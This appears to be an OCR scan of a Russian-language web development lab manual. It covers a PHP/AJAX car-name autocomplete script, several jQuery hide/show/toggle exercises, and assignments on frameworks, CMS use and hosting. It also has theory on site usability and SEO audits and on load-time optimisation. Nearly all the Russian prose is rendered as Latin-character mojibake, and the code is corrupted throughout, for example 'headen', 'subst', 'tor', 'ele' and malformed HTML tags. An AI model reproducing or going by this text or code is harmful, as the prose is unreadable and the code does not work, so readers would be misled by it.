new XMLHttpRequest().B ciayuae neynauu, nenaercs cieayromas NonbITKa Co3Aanus o0bekTa uist Internet
Explorer: xmlHttp = new ActiveXObject("Msxml2. XMLHTTP"). Ecnu 310 Takxke He yaaeTcs, TO AeIaeTcs
MONBITKA CO3JIaHUS 00BbeKTa yxKe JUISt Internet Explorer: xmlHttp = new



ActiveXObject("Microsoft. XMLHTTP").B ciyuae, eciiu Hu o7jHa U3 3TUX TOMBITOK HE MPUHECTA yCIexa,
BBIZIACTCS COOOIICHUE 00 OTCYTCTBHH MOAepKKH AJAX Opay3epoM.

<?php

headen{"Cache-Contral: no-cache, must-revalidate'™);

N Tlpomegiman gata

header("Expires: Mon, 1 Sep 2008 07:30:00 GMT";

// MHMIMaM3aIHA MACCHRA HAZBAHMI fa[|="Saah";

$a[]="Audi" $a[]="Subaru";

$a[l="BMW"; $al|="Suzuki";

$all="Buick"; $al|="Toyota";
$a[l="Chevrolet"; $a[l="volkswagen";
%a[]="Citroen"; $all="volwa";

$a[l="Dodge": fimomyuenue napametpa q 13 URL
%a[]="Ferrari™; $q=5%_GET["q"];

$a[]="Fiat"™, /{MOMCK COOTBETCTEHH M2 MAacCHEA ecTH gmHHa q = 0
$a[l="Ford™ if (strlen(Sq) > 0)
$a[l="Honda", {

$all="Hyundai"; Shint = ™}

$a[]="Cherokee"; tor($i= 0; $i<count(Sa); $i++)
$a[l="Cherry"; {

$a[]="Lada" if (strtolower($q) == strtolower(subst(Sa[$i],0,strlen($q))))
$a[l="Lamborghini"; {

$a[l="Lincoln"; if ($hint == ")
$all="Mazda" {

$a[l="Mercedes" Shint=%a[ $i;
$a[l="Mitsubishi’; }

$a[l="Nissan"; else

Sa[l="Opel? {

$a[']=“Peugeot"; Shint=%hint." 4 ".$ﬂ[$i];
$a[l="Plymoth"™; }

%a[|="Pontiac"; }

%a[l="Renaul"; 1

%al]="Rowver"; }

/f BozepaT CTPOKM "HET BApHAHTOR" €CITH COOTBETCTEMH He HaHIeHo
{# mibo HaHIPHHOE COOTEETCTEHE

]f{$]'I]III ==

{

Sresponse = "no suggestion';
}

ele

{

$response = $hint;

}

//BEIBOJ PE3yIETATA

echo $response;

3aganue Ne 2. Pa3paboraiiTe Ko/1 BEIOOpa MapKy aBTOMOOWIIS C UCTIOIB30BaHUEM Ajax.
3ananme Ne 3. PazpaboraiiTe Ko BEIOOpa CTpaHbl, peTHOHA, TOPOJia C UCTIOJIb30BaHUEM Ajax.
3aganue Ne 4. Pa3paboraiiTe ko oTripaBku (haiina ¢ UCMOIb30BaHUEM Ajax.

JlabopaTopnas padora 13. «IIpumenenue texnonoruu AJAX»

I{ens: o3HakoMHTHCS ¢ OubIMOTEKOM jQuery.
XO/J PABOTHI:



3apanme Ne 1. BeinosaHuTh pumep.
<|DOCTYPE html>
<html:
<head:
<script src="http://code.jquery.com/jquery-latest.js"s
</seript>
<script>
$(document).ready(function () {
$("button”).click(function () {
$("p").hide();
3
1

</script>
</head>

<body

<h23This is a heading</h2:
<p>This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Click me</button>

</body>

</html>

[IpoBeputs paboty meroma hile(). [TompobGoBaTh 3ameHuTh OMOMHUOTEKY jquery-latest.js Ha Apyrue nBe,
OIMCAHHBIE BBIIIE, CPABHUTH PE3YJIbTAaThl pAOOTHI.
3amanue Ne 2. BbIOJHUTH IpUMED.

<|DOCTYPE html:

<html>

<head:>

<script src="http://code.jguery.com/jquery-latest.js">
<fscripts

<scripty
$(document).ready(function () {
$("button”).click(function () {
$("#test").hide();
¥
1)

</script>
</head>

<body >

<h23This is a heading 2</h2»

<p>This is a paragraph.</p>

<p id="test":>This is another paragraph.</p>
<button>Click me</button:

</body:

</html>

[Ipoananu3upoBaTh OTIUYME €r0O OT MpUMeEpa B 3aJaHUH 1.



3apanmne Ne 3. BeInogHUTE TpuMep.

<|DOCTYPE html>
<htmls
<head>

<script src="http://code.jquery.com/jquery-latest.js">
</script>»

<script>
$(document) . ready(function () {
$("#but1").click(function () {
$("#test").hide();

1)
$("#but2").click(function () {

$("#test”).show();

¥);
I3 K

</script>
</head:

<body>

¢h2»>This is a heading 2</h2>

<p>This i= a paragraph.</p>

<p id="test">This is another paragraph.</p>
<button id="butl">Click me</button>

<button id="but2":>Click me for show</button:
</body>

</html>
[Ipoananu3upoBath OTIMYKE €0 OT MPUMEPA B 3a1aHUU 2.

3ananue Ne 4. BBIOJHUTH IpUMED.

<IDOCTYPE html>»

<html>

<head>

<script src="http://code.jquery.com/jquery-latest.js">»
<fscript>

<script>
$(document) . ready(function () {
$("button™).click(function () {
$(".test").hide();

i
}i
<fscript>
</heads
<body>

<h2 class="test">This is a heading</h2>
<p class="test">This is a paragraph.</p>
<p>This is another paragraph.</p>
<button»>Click me</button:
</body>
</html>

[Ipoananu3upoBath OTIMYKE €0 OT MPUMEPA B 3a1aHUU 3.



3apanme Ne 5. BeinosgHUTE pumep.

< |DOCTYPE html:

<html>

<head>

<script src="http://code.jquery.com/jguery-latest.js">
<fscript>

<seript>
$(document).ready(function () {
$("p").dblelick(function () {
$(this).hide();

I3 H
1);

</seript>
</head>
<body>

<p>If you double-click on me, I will disappear.«</p>
¢<p>Click me away!</p>
<p>Click me too!</p>

</body>
</html>

3amanue Ne 6. BbIOJHUTH pUMeED.
<|DOCTYPE html:
<html>
<heads
<script src="http://code. jquery.com/jquery-latest.js">
</fscripts
<scripts
$(document) . ready(function () {
$("input"). focus{function () {
$(this).css("background-color”, "#cccccc”);
1
$("input").blur{function () {
$(this).css("background-color”, "“#Ffffff");
1N
Hs
<fscripte
</head>»
<body >

Name: <input type="text" name="fullname":<br:
Email: <input type="text" name="email">

</body>
</html>



3amanue Ne 7. BbIOJHUTH IpUMED.

Jlaboparopnas padora 14 «Ucnoab3oBaHue (ppeiiMBOpPKa JJIsl CO3AaAHUS CaiTa»

Llens: o3HakoMHTHCS ¢ OubIMOoTEeKOM jQuery.
XOJ PABOTHI:
3apanne Ne 1. Beibepure u o60ocHyiiTe BRIOOP PppeiiMBOpKa.
3aganue Ne 2. PazpaboraTh caiiT-kartaimora OAeXKAbl U OOYBU, KOTOPBIA OymeT o0Iamarh CIeAyIOUUMU
0COOCHHOCTSIMU:

1. ToBapsl pazzeneHsl MO KATETOPUsIM, C BO3MOKHOCTBIO CO3/IaHUS TIOJIKATETOPHil.

2. Yao0Has aAMUHUCTPATUBHAS MTAHENbIO.

3. MHOrOs3bIYHOCTD, TOJIJIEPIKKA PYCCKOTO, PYMBIHCKOTO U aHTJIMUCKOTO SI3BIKOB.

4. IMoanepskka BHICOKUX HArpy30K (K3IIHPOBAHUE).

JlabopaTtopnas padora 15. «Co3nanue caiita Ha CMS»
Ilenn: o3nakomuthes ¢ CMS.
XO/J PABOTHI:
3apanme Ne 1. Beibepute u obocHy#te Boioop CMS.
3apanue Ne 2. M3yunre BeiOpanHyro CMS.
3apanue Ne 3. YcraHoBUTE HEOOXOIUMOE MPOrPAMMHOE 00ECIICUCHHE.
<|DOCTYPE html>
<html:
<head:
<script src="http://code.jquery.com/jguery-latest.js">
<fscripts

<scripts
$(document).ready(function () {
£("button”).click({function () {
$("p").toggle();
Hi
}i

<fscripty
</head>
<body:

<butten>Toggle< /button:
<p>This is a paragraph with little content.</p>»
<p>This is another small paragraph.</p»
</body>
<fhtml>
3apanue Ne 4. CipoeKkTupyiiTe cat
3aganue Ne 5. Co3naiiTe MEHIO M CTPaHMIIBI CalTa.

JlabopaTopHasi padora 16. KAIMUHUCTPUPOBAHHE CATA»
L{enb: 03HAKOMUTBCS C TEXHOJIOTUAMH aIMUHUCTPUPOBAHUS CalTa.
XOJ PABOTHI:
3aganue Ne 1. PazpabotaTth caliT mpou3BoJIbHOM TeMaTuku (4-5 crpanuil). Bece cTpaHHIIbl TOMKHBI UMETh
OJMHAKOBBIN au3aiiH. Ha Kaxaol cTpaHuLE [TOJKHBI IMPUCYTCTBOBATH: MEHIO, SJIEKTPOHHBIM azapec
pa3paboTuuKa, TOroTHII caiita. Ha crpanuiax caiita JOJKHBI pa3MelaThesl TaOJIUIbI, CIIUCKH, H300PaKeHUS.
3apanmne Ne 2. OncaTh IpoLECCHl ONTUMH3AIIUN CalTa.
3amanue Ne 3. OnucaTh BO3MOXXHBIE BAPUAHTHI 3aIIUTHI CaiiTa.

JlaGoparopnas padora 17.«Ilyb0aukanus caiita Ha 0eCIUIATHOM XOCTHHI€)
HGJII/II O3HAKOMHUTBCS C TEXHOJIOIUAMU HY6HI/IKaIII/II/I caiiTa Ha OecIuIaTHOM XOCTHHTE.
XOHI PABOTBI:
3aganue Ne 1. Pa3paborark u ormy0auMKoBaTh CallT NPOU3BOJILHON TeMaTuku (4-5 ctpanun). Bee crpanuiibt
JIOJKHBI UMETh OJIMHAKOBbIN nu3aiiH. Ha kaXxaoi cTpaHuie 10JKHbI IPUCYTCTBOBATh: MEHIO, 3JIEKTPOHHBIN



azpec pa3paboTumka, JOroTHi caiWta. Ha cTpaHuiax caiita MO/DKHBI pa3MENIaTbCsl TAOJUIIBI, CIHCKH,
U300paKCHHUS.

MJIK. 03.02. ONTUMHA3AIIAA BEB-ITIPUJIOKEHUM
Tema 3.2.1 MeToabl ONTUMU3ANUM Bed - NPUIOKEHUI

JlabopaTtopnas patora 18. [IpoBenenue oduiero ayaura caiita: SEQ, 103a0MIUTH, TEKCTHI
[{enb: 03HAKOMUTBCS C MPOIIECCOM MPOBEACHHSI O0ILEro ayIuTa caira.
XO/J PABOTHI:
Teopemuueckue ceedenus
Ayaut — 3T0 Tpoleaypa HE3aBUCUMOM OIICHKH caiiTa skcrepToM. OlieHKa JT0JDKHA ObITh HE3aBUCUMOM ISt
TOTO, YTOOBI HE OBITH MPEB3ATOM, a FKCIIEPT JOJDKEH pa3oupaThcs B paboTe BeO- cailToB.
10 monoevix owiu60K 103a0uUTUMU UHMEPHEM-MA2A3UHA

1. Marasus npoJiaeT CIUIIKOM pa3Hble TOBapHI.
. Ilo rmaBHOM CTpaHULE HEMIOHITHO, YTO ITPOJAET Maras3uH.
. JINIMHHBIN TEKCT Ha TJIaBHOM CTpPaHMIIE BMECTO PEIICHUS MPOOJIEeMbI KIHEHTA.
. HekauecTBeHHBIH MOUCK TOBAPOB Ha CalTe.
. Hesicno, B kakux ropojiax paboTaeT MarasuH.
. becrionesneie cnanaepsl.
. CrnoxkHas CTpyKTypa Karajora.
. 3amyTaHHas HABUTALUSA 10 CAUTY.

9. Omubku npu 0pOpMIICHUN 3aKas3a.

10. Hanaue o0s13aTenbHOM perucTpaiuy/aBTOpU3aIIHH.

Omubku mojacTeperarT Be3je: B 103a0MIUTH, B ONTUMH3AIUU CaiiTa, B HACTPOilKe cueTyhKa BeO-
aHayutukd. [ToaToMy 1000MY BIIAJCINbIly caiiTa clieAyeT 3HaTh, Ha KaKHhe MmapaMeTphbl 00pamaTh BHUMaHUE
IpU OLEHKE CBOEro caiTa. DTU 3HAHUA NPUTOLATCS U IpU mpueme padoT mo calTy (onTUMH3AIuS,
JIOpabOTKH), €CJIU BB IaJIM KaKy0-TO 3a/1a4y CBOUM pa3padoTyrKaM, JIM00 3aKa3alid JopaObOTKH y CTOPOHHEH
KOMIIaHUH.

Ceituac B InTepHeTe B CBOOOIHOM JOCTYIIE €CTh MHOT'O YEK-JIUCTOB /ISl CAMOCTOSITEJIbHON MTPOBEPKHU
ONTUMHU3AIMHU U 103a0MIUTH caifTa. OUH U3 KJIACCHYECKUX YEK-JIMCTOB 10 103a0miutu — 10 3Bpuctuk Axoda
Hunbcena, U3BECTHOTO CIIEIUAINCTA B 0OJIACTH MPOCKTUPOBaHUs HHTep(deiicoB. JlJisi OIIEHKN ONTUMU3AINAN
TaK)Ke€ €CTh YEK-JIUCThI B OTKPHITOM JIOCTYIIE.

[Tpu KOMILJIEKCHOM ayauTe, olleHuBaroTes 6osee ueM 150 napamerpam. SEO-aHanmm3 caiita IpOBOIUTCS 110
CJIEIyIOIINM MTapaMeTpam.

e Teru title, description, keywords (Teru 10KHBI COOTBETCTBOBATH OCHOBHBIM ITPABHIIAM).

e Teru 3aronoskoB H1, H2 (mpaBunbHOE oopmiieHHEe 3aT0JI0BKOB HE TOJIBKO MOMOKET MOCETUTEIIO
ObICTpee HalTH HYXXHYIO HH(OPMAILIMIO U COPUEHTUPOBATHCS HA CTPAHMIIE, HO U MO3BOJIUT YBEJIUYUThH BEC
KJIFOYEBBIX CJIOB).

o AtpuOyt Alt mst kapTuHOK (aTpuOyT alt Tera <img> IOKEH MPHCYTCTBOBATh BO BCEX KapTHHKA
caiita).

e AHaJIM3 TEKCTOB Ha caiiTe (Ka4eCTBEHHBIE TEKCTHI — ’TO OCHOBA BCETO MPOIBUKCHHUS).

® YHUKAJIBHOCTb.

o OnTuMu3anus.

e [IpoBepka ¢ TOUKHU 3pEHHUS MOJIb3BI JI YUTAIOILIETO.

TexHUYeCKHEe XapaKTePUCTUKH:

0 (aiin Robots.txt (MpUCYTCTBYT 1 3TOT (haiin);

o Hannuue omnoku «Googlebot He MoXxkeT nmony4uuTs Joctyn K ¢ainam CSS u JS Ha caiitey;

0 CKOPOCTb 3arpy3KH CTPaHHMII,

0 ONTHUMH3AIUS TI0]] MOOMIIBHBIE YCTPONCTBA;

o BamuaHocte HTML-kona;

0 OUTBIE CCHUTKH (HaTU4IMe OUTHIX CCHIJIOK HETATHBHO CKA3bIBACTCS HA MPOJABUKCHUN);

0 TyOIMpOBaHHBIA KOHTEHT.

O1eHKy F03a0MJIMTH TIPOBOJUTCS TI0 IIECTH OCHOBHBIM TI'PYIIaM XapaKTEPUCTHUK, YTOOBI IOTYYIHUThH
MOJIHBIM, BCECTOPOHHHM aHAIN3 U HUYETO HE YIYCTUTh. [IOBEpXHOCTHO MO 3TUM IpyIIaM CBOM CalT MOKET

01N DN KW



CaMOCTOSITENIbHO OLICHUTH JII0OOW Biajenel. [1aBHOE B caMOCTOATEIbHON OLIEHKE — OBITh MaKCUMAaJIbHO
HENPEeB3AThIM. PaccMOTprM 0a30BbI€ COCTABIISIONINE ayIUTa F03a0MINTH TIOpOOHEE.

1. Oyenka I'naenoit cmpanuupi.
AyauT 103a0UTUTH HAaYWHAEM C OIEHKU [ TaBHOW cTpaHMIB. 3aqada OICHKU — IMOHSTHh, HACKOIBKO OHA
3¢ (dexTrBHA B KaueCTBE MOCAJOUYHON CTPAHUIIBI.
Hlanka caiuma
Jlis Havana cMOTpUM, MOHSATHA JIM TEMAaTHKa, €CJIM 3aXOAMIIb HA CalT BrepBble? XOpOIIo, KOTra TeMaTHKa
repesiaHa MmpsiMo B IIAINKe caiTa (Ha3BaHHUE, JIOTOTHII, CJIOTaH M T.I.) U CTAHOBUTCS MOHSATHA B mepBbie 10
CEKYyH/I.
Iepewrii 3kpan
Jlanee onieHnBaeM BeCh MEPBBI dKpaH (Ty YacTh CTPAHUIIbI, KOTOPYIO BUAMT IOCETUTENb, IIOKA HE Hayall
npoKpyunBaTh BHU3). Eciu caift mpogaet ToBap/yciyry, TO OHA JI0OJKHA MPUCYTCTBOBAThH HA TIEPBOM dKpaHe.
3aaya mepBOro SKpaHa — NoKa3aTh, YeM MOXKET OBITh [TOJIE3EH CAUT moceTUTeNto0. [ mepBoOro skpaHa Takxke
Ba)XHO HATMYWE OCHOBHOW KOHTAaKTHOW MH(OpMAIIMK HA BUAHOM MECTE.
HeoOxoqumo oOpaTuTh BHMMaHHE Ha HajdU4ue NEPUOAMYECKH OOHOBISIEMON HH(OpMAIMH, HAIpHUMED,
CBEXUX MPOEKTOB, cTareil wim HoBocTel. Takast mHGOpMAIIHsI TOKaXKET MMOCETUTEIISIM, YTO BAIll CANT KHUBY.
Iloosan
CIyCTHBIINCH B CAMBIN HA3 CTPAHUIIBI, OIICHUTE IMOBAI caiiTa. JKenareapHo, 4TOOBI B TI01BaJie OBLITH CCHUTKU
Ha OCHOBHBIE pa3/elibl caifTa 1 Oblila 3aMeTHa 0(hopMIIEHHAs! KOHTAKTHAst HH(pOpMaIus.

2. Oyenka unmepaxkmueHoCmu.
HHTepaKTUBHOCTh COCTABJISIOT BCE 3JIEMEHTHI, C KOTOPBIMH MOKET B3aHMOJICHICTBOBATh MIOCETUTEIb CalTa.
3a/jaua OLIEHKU UHTEPAKTUBHOCTH — MOHAThH, HACKOJIBKO HATJISIHO MPECTaBICHBI MHTEPAKTUBHBIC JIEMEHTHI
U HACKOJIbKO KOPPEKTHO OHU paboTaloT.
Ccoinku
[TocmoTpute Ha odopmIileHHE CCHIJIOK HA BallleM caiiTe: MOHATHO Ju 0e3 HaBeleHUs Kypcopa, 4To Ha HHUX
MOJKHO Haxath? JKenarenpbHO, 4TOOBI BCE CCHUTKH ObUTH O()OPMIICHBI B OJJHOM CTHJIE U OBLIN MOAYEPKHYTHI, a
Ha3BaHMUS HAYMHAIIMCh CO 3HAYMMBIX CJOB, KOTOpBIE HIIET MOCeTUTeNb. [loxonuTe Mo 3TUM CChUIKaM U
IPOBEPHTE, HET JIK BEAYIUX B HUKY/A (HA MYCTYIO CTPAHUILY WK Ha cTpaHuily 404 ommoOKm).
Ilpocmomp Kapmunok
Jlaiee mpoBepbTe KAPTUHKHU: MOHSATHO JIM, YTO HEKOTOPBIC M3 HUX MOXHO mpuOmm3uth? [lpu Hammauun
dororanepen A MPOCMOTPa KAPTUHOK €€ BUJ U KHOTIKHU YIIPABIICHUS JTOJKHBI ObITh OJJUHAKOBBIMU Ha BCEM
caure.
Ouenka nasuzayuu. I'nodanvhas Hasuzayus
[IpoBepbTe, 4TOOBI B II00ATLHOM HABHTAIIMH (Yallle BCEr0 ATO BEPXHEE MEHIO B IIIAIKE caifTa) ObLT OTPaKeH
BEPXHUU ypOBEHb MEpApXHM CaiiTa, a TAaKKE YTO HUKAKOW pas3jesl He ymylleH. B riobanpHOl HaBUranuu
00s13aTeNbHO JIOJDKHBI MIPUCYTCTBOBATh CCBUIKM HA CIIy)KeOHBIC pasjenbl, Hampumep: «O KOMIaHHWY,
«Konraktey, «Ilomompy, «Kapra caifray. I'nmobanbHas HaBuramus I0JDKHA MPUCYTCTBOBATH HAa Ka)I0OH
CTpaHUIIE caiiTa, JOHKHA OBITh BH3YaJbHO BBIIENICHA, U COCTaB €€ CCHUIOK JOJKEH OBITh MOCTOSHHBIM.
Baxno, uToOBI B I1100aJIbHOI HABUTALIMK U BO BCEX OOKOBBIX MEHIO (€CJIM OHHM €CTh) OTpaKajcsl aKTUBHBIN
pazjiesn, B KOTOPOM HaXOJUTCSl TOCETUTEIb.
3azconoeku
BBepxy ka0 cTpaHUIIbI CaiiTa TOJDKEH ObITh 3aMETHBIN 3ar0JIOBOK. JTO BXKHO KaK IS 103a0UIUTH, TaK U
¢ Touku 3peHusa SEO.
IHlouck no caiimy
E1e pekoMeHayeM NpoBepUTh MOUCK 110 CAUTy: OKHO MOUCKA JI0JKHO OBITh JOCTYIHO Ha JIF000i cTpaHule, a
MOMCK JIOJDKEH BBbIJIaBaTh KAaue€CTBEHHBIC PE3YyJIbTAThl JakKe NP 3alpoce U3 HECKOIBKUX CJIOB WU C
opdorpaduyeckoit ommOKOM.

3. Ouenka ousaiina.
Ju3aiiH — CyIIHOCTh OY€Hb CyOBEKTHBHAs, OLEHUTh €ro OOBEKTUBHO ObIBaeT cioxHee Bcero. Ho ecthb
HECKOJIBKO OOIINX XapaKTePUCTHK, OIEHUTH KOTOpPhIE OyIeT JOCTATOYHO JIETKO.
Lléem ocnosnvix 31emenmos
[Ipexnae Bcero olneHUTE HCHOJIb3yeMble OCHOBHBIE 1BeTa. COOTBETCTBYIOT JM OHU TEeMaTHKe caita? Y
KaXXJ0ro I[BE€Ta €CTh CBOW AacCOLUATHBHBIA PpAJNl, HAllpUMEp: 3€JCHbIH acCCOIMHPYETCS CO 30POBBEM,
KpacoTOM, TapMOHHEH, U BPsI/I JIU €r0 CTOUT UCIIOIH30BaTh HA CAMTE MOXOPOHHOTO areHTCTBA, Pa3Be TOJIBKO
YTOOBI «BBIJICTUTHCS» Ha OHE KOHKYPEHTOB.



CnumkoM MHOTO LIBETOB Ha caiiTe He HY)KHO, JOCTATOYHO 2 OCHOBHBIX: IIBET (pOHA M LIBET OCHOBHBIX
aneMeHTOB. lMcrnosib30BaHME HECKOJBKUX IIBETOB JOMYCKAETCS, €CIM BBl XOTHUTE, HANpUMeEp, MOKa3aTh
pasHUIly MEXAy BallUMH TapudamMu UIU yCIyraMu, TO €CTh CAeNaTh I[BETOBOE KOJAUPOBAHHUE.

Konmpacm

B nuzaiine cnenyet nzberaTh HEJOCTaTOYHOTO KOHTpacTa. Hampumep, korja uBet o0beKkTa OTINYaeTCs OT
[BETOB ()OHA JIMIIH OTTEHKOM, HO HE HACBHIIIEHHOCTBHIO WJIH SPKOCTHIO, OOBEKT CTAHOBUTCS TPYIHO
BocrnpuHUMaTh. [IpoBepbTe, KOHTPACTHBI JIM 3JIEMEHTHI Ha BalleM caifte. J[Js 3Toro MOKHO MCHOJIb30BaTh
CIieLUaIbHbIE OHJIAWH-CEPBUCHI.

DNeMEHTBl Ha CTPaHUIIE TOJDKHBI OBITh BHIPOBHEHBI OTHOCUTENBHO APYT Apyra u «1mo ceTkey. [Ipuuem Ha
TUTIOBBIX CTPAHHIIAX KOMIIOHOBKA 3JIEMEHTOB JIOJKHA OBITH TAKXKE TUIIOBOW, @ HE PA3IMYATHCS OT CTPAHUIIBI
K CTpaHule. BoipaBHUBaHME 2JIEMEHTOB BaXKHO B hopMax, Tak Kak 0e3 Hero ria3 «CKayeT» U 3arloJIHATh MO
CTaHOBUTCS CJIOXKHEE.

Bu3syanouwvie oopasut

Ecnu Ha caiite ecTb BU3yalibHble 00pa3bl (MKOHKH, MUHHATIOPBI, U300pa)KEHUS U T. 11.), OLIEHUTE, HACKOJIBKO
OHM COOTBETCTBYIOT KOHTEKCTY, JIOTOJHSIOT JiK ero. HenpaBuibHOE UCHOIB30BaHUE BU3yalIbHBIX 00pa3oB
MO>KET 3amyTaTh MOCETUTETIS.

Ha ctpanunax nomkHa ObITh YeTKas uepapxusi BU3yallbHbIX 00pa30B — BaKHOE HYKHO BH3yalIbHO BBIIEIISTH,
YTOOBI OHO Cpa3y Monaaajo B 1oJie 3peHus. OLeHuTe, cpasy Jiu Bbl BUIUTE CaMOE ITIaBHOE Ha BCEX CTPaHMIIAX
WIH T/Ie-TO MPUXOAUTCS JJOJTO UCKATh.

4. Ouenka konmenma.
Kak mpaBuio, KOHTEHT — 3TO TO, paJW Yero CO3[aeTCs CalT. 3ajada OLUEHKH KOHTEHTAa — MPOBEPHUTH,
HACKOJIbKO XOPOIIIO BOCIPUHUMAETCS Balll KOHTEHT M HACKOJIBKO OH HHTEPECEH.
Texcmot
TeKkcTbl HY)KHO TIPOBEPSATh KAaK C TOYKH 3PCHUS BH3YAIBHOTO O(QOPMIICHHS, TaK W C TOYKH 3PCHUS
COJIePIKAIIETOCS B HUX CMBICTIA.
[Tpu mpoBepke 0(hopMIICHUSI CMOTPHUTE, XOPOIIIO JIU TEKCT KOHTpAacTUpyeT ¢ (hoHOM. B o01ieM ciryyae Hy»KHO
80 % xoHtpacta. [IpoBepuTh CAaT MOXHO C IOMOIIBIO OHJIAWH-CEPBHUCOB, HO OOBIYHO IUIOXOW KOHTPACT
BUJIHO U 0e3 HuX. TekcThl Jo/KHBI OBITH 0opMmieHb! mpudTOM Oe3 3aceduek, pazmep mpudTa oT 14px. Ha
caiiTe mydIie He UCTIOIB30BaTh Oosiee 2 mpu(TOB: OJIMH AJIT OCHOBHOTO TEKCTA U €IIIe OJIUH JJIsl 3ar0JIOBKOB
CTpaHHMIL.
Bce TekcThI Ha caiiTe clieyeT MpOBEpUTh Ha YHUKAIBLHOCTH C TOMOIIBIO CIICIIUATBHBIX OHJIAHH- CEPBHCOB.
HeyHukanbHbIE TEKCTBI HY)KHO TEpPEIHCaTh, TAaK KaK OHH IUIOXO OTPAKAIOTCS Ha MO3UIHMAX caiTa. [la u
KITUEHTY HEMPUATHO YUTATh TEKCTHI, KOTOPBIE OH yKE TJIe-TO BUJIEIL.
Ha caiite He 10/KHO OBITh HEOOOCHOBAHHO JUTMHHBIX TeKCTOB. Ecii oHM ecTh 1 0€3 HuX HUKyAa (KaKue-JIu00
IpaBuUJia TOJB30BAaHUSI BAIlIMH YCIIyTaMH), TO OHU JOJDKHBI ObITh OOPMIICHBI C BBIJCICHHUEM a03alleB,
M0/13aT 0JIOBKOB, YTOOBI MPOIIE MPOYUTHIBAIUCH.
[Tepeunraiite XOTs OBl TJIABHBIC TEKCTHI, MPOBEPHTE MX HA HAIWYHEC TPAMMATHYECKHX, JICKCHYCCKUX,
MYHKTYallMOHHBIX, PEYEBbIX M MMPOYHX OMIMOOK.
Kaptunku
Bce kapTHHKM Ha caiiTe TOJHKHBI OBITH XOPOIIEr0 KayecTBa, OCOOCHHO €CJIHM y Bac MHTEPHET- MarasuH.
[MocmotpuTe, HE OPTUTCS U (POTO BAIIMX TOBAPOB MPHU NPUOTMIKEHUU, MOXKHO JIH PACCMOTPETh JIETAIIH,
ecThb J1 (hoTorpaduu ToBapa B pa3HbIX paKypcax
YHUKaTbHOCTh KAPTUHOK TOXKE CTOUT MPOBEPUTH. MOXKHO MTOCMOTPETh, KAKHE KAPTUHKH HA CaliTe y BAIIUX
KOHKYpEHTOB. Jlyuriie He OpaTh KApTHHKH ¢ OECIUIaTHBIX OTOCTOKOB, TOTOMY YTO OHHM Be3Jie: Ha OMII0opIax,
Ha YNaKOBKax, Ha cairax. [lmaTHeIMEH (OTOCTOKAMH TOJB3YETCS TOpas3l0 MEHBIIE JIOACH, a BBIOOP
dororpaduii orpomen. Camoe Jrydriee penieHue — aenaarb Gororpadun CBOMX COTPYIHUKOB, CBOUX TOBAPOB.
DTO0 camblii TIOPOTOI BapuaHT, HO OH JAaeT rapaHTUI0 YHUKAJILHOCTH Bamux (oTorpaduii 1 aBTOMaTHICCKU
TIOBBIIIAET YPOBEHD JTOBEPHSI MOCETUTEIEH K CalTy

5. Ouyenka cpopm u ouanozoes.
3anada orieHKH ()OpM U TUATIOTOB — IIPOBEPUTH KOPPEKTHOCTH paOOTHI BceX (hOpM Ha caiTe, HAWTH OIMOKH B
paboTte, Hey100CTBa TP 3aMOJIHCHUH.
[TorrpoOy¥iTe 3amoHUTh KOKAYIO U3 GOpM Ha cBoeM caiite. OUeHHTe, BCE JIM MOJISl BaM MOHSATHBI, HET JIA
JUIIHUAX 00s3aTeNbHBIX MOJeH (Hampumep, oOsi3arenbHOe mosie email B dopme s 3akaza OOpaTHOTrO
3BOHKA), THPOPMATHUBHBI JIM COOOIIECHHS 00 OIMOKax, cpadaThIBACT JIM KHOIKA OTIPABKH JAHHBIX C (DOPMBI,
MPUXOJIAT JIH COOOIIeHUS ¢ (OPM K BaM Ha TOYTY (WM TIOMAIAI0T B criam?).



[IpoBepka KOppeKTHOCTH BBOJa HHQOpMAIMK B (GOpMBI JOHKHA OCYLIECTBIATHCA 0€3 mepe3arpy3kKu
cTpaHullbl. B ciyuae ecnu mepesarpyska Bce-Takd ITOHAI00UIAch, TO BBl HE IOJDKHBI BBOJUTH HH(DOPMAIIHIO
BTOpOIl pa3 — AaHHbBIE JOJHKHBI COXPaHUThbCS. B MHOTOCTpaHWYHBIX (hOpMax JOHKHA OBITH BO3MOXKHOCTh
BEPHYTHCS C COXpAaHEHUEM JaHHBIX.

6. Oyenka Konsepcuu.
UTo0Bl MOHUMATh, HACKOIBKO 3PPEKTUBEH CalT M Kakas y caliTa KOHBEpCHs, HE OOOUTHUCH 0e3 cYeTunKa
BeO-aHamuTHKU. [locie ycTaHOBKM cueTyrka HEOOXOAMMO 0053aTeIbHO HACTPOUTH LIENU U MEPUOIUNIECKU
OIICHUBATh KOHBEPCHIO U OCHOBHBIC MTOKAa3aTeNu caiiTa. MHOTHE BIIaJeNbllbl 00 3TOM 3a0bIBarOT. B mporecce
KOMIUIEKCHOT'O ayJUTa OY€Hb MOMOTaloT JaHHbIE CUCTEM BeO-aHAJIUTUKU: HU MX OCHOBE MOKHO CTPOUTHh
TUIOTE3bI O Ipo0JieMax caiTa, B TOM YHcie mpobiaemMax ¢ 103a0MIHTH.
B cocraB xommiekcHoro ayauta Bxoaut: SEO-ayaurt, ayauT 103a0UInTH, aHATU3 BeO-aHATUTUKH (B TOM
YHCJie KOHBEPCUH ), POBEPKA M HACTPOIiKa 1eseid. [I[poBecTr MOBEpXHOCTHBIN ayIUT MOKET JIFO00M BIIajIeIier
caiita. B ro3a0unurtu-aynure oleHuBaloTcs: [J1aBHasi cTpaHHIlA, UHTEPAKTHUBHBIC JJIEMEHTHI, HaBUTaIus,
JU3aiiH, KOHTEHT, ()OPMBI U JHATIOTH.
3amanue Ne 1. [IpoBecTu ayiuT 3aJJaHHOTO caiTa.

JlabopaTtopnas padora 19. «McciienoBanue croco00B yCKOPeHHs 3arPy3KH CaiiTOB»
Lenb: nzyuenune cnocoO0OB yCKOPEHHsI 3arpy3KH CaiTOB.
XOJl PABOTHI:
Teopemuueckue ceedenus
CniocoObl yCKOpEHUs 3arpy3KH CaliTOB.
Bpewms 3arpy3ku caiita — 0IMH U3 BAXKHENIIMX MTOKA3aTEIICH, BIUSIOIIMN Ha TOBEICHHE MTOJIb30BAaTENEH caiiTa.
CHmKeHUe CKOPOCTHU 3arpy3KH CTpaHUIIbl Ha 1 ceKyHay BieUYeT 3a COOOi:

® yMEHBUIEHUE YKciia IpocMoTpoB Ha 11 %;

® CHIKEHHUE TTOKa3aTelis yAOBJIETBOPEHHOCTH MoJib30BaTels Ha 16 %o;

e yMEHbIIIEHUE KOHBepcuu 110 6 %.

